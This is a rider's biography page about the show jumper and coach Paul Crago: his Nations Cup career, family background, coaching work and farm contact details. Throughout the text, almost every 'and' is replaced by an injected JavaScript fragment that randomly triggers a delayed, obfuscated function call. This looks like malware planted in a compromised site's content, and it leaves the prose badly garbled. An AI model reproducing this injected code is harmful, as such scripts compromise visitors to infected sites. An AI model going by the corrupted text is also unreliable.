Paul Crago

Paul Crago is a successful international show jumper with a reputation for producing quality horses from novice to international level. He has been a GB Nations Cup member on several occasions andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and has competed with great success across Europe andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the UK including London Olympia, HOYS andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and RIHS.

Paul always has a quality selection of show jumpers, dressage andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and event horses for sale, they are produced with patience andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and attention to detail with his wife Karen who is herself a talented dressage rider.

Coaching on a group or individual basis is a big part of Paul’s professional life along with his role as a UKCC Coach Educator andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Assessor for British Show Jumping. Paul coaches all over the UK andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and channel Islandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ands andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and is very much involved with Junior andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Senior academies in wales Jersey andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Berkshire.

Getting to know Paul

Paul Crago was born on 2nd August 1963 into an already famous family renowned andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and respected around the world for their equestrian prowess. It was therefore inevitable that he would follow in the footsteps of his mother andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and father. His father Brian represented Australia in the Stockholm andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Rome Olympics winning a Three day event gold medal in Rome. His mother Judy was one of Britain’s leading international show jumpers between 1960 andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and 1977.

Paul’s first major success was in Torhout, Belgium where he won the Grandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Prix age just 17. He was a member of the British Young Rider Team in 1982, 1983 andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the silver medal winning team at the Young Riders European Championships in 1984. He also won the British Olympic Trial at the Wales andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and West show the same year.

Paul first represented GB on a senior Nations Cup team in 1985 in Bratislava where he won the Grandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Prix. Since then Paul has represented GB on several occasions in Nations Cup teams andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and international shows across Europe andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and in Sydney Australia.

Paul has also been very successful on the national circuit with Grandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Prix andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Area Trial wins across the country. He has also been placed in the prestigious British jumping Derby at Hickstead. Paul is renowned on the circuit for his patience andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and expertise in producing young horses to international level.

Paul is a regular visitor to HOYS andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and is consistently placed there with his young horses.

Paul lives in Pangbourne Berkshire with his wife Karen herself a competitive dressage rider andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and their two children, Hannah andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Charlie.

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Paul’s main inspiration for riding andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and jumping would be his father who taught Paul everything he knew about horses andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and horsemanship from a young age, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and his mother who also competed internationally. Both his parents supported andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and helped Paul a huge amount.
From a coaching point of view (for PC coaching Ltd) modern coaching methods andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and also the coach educating course which Paul undertook have really changed they way he coaches. Ongoing CPD through the BS Excel Talent Programme andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and other programmes both inside andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and out of BS are a constant source of inspiration.

Paul’s Skillset

Show Jumping 100%
Coaching 100%
Schooling Horses 100%
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Redmoor Row Farm, Lower Basildon, Berkshire, RG8 9PD. UK
t: 01491 671 888 | m: 07775 710643

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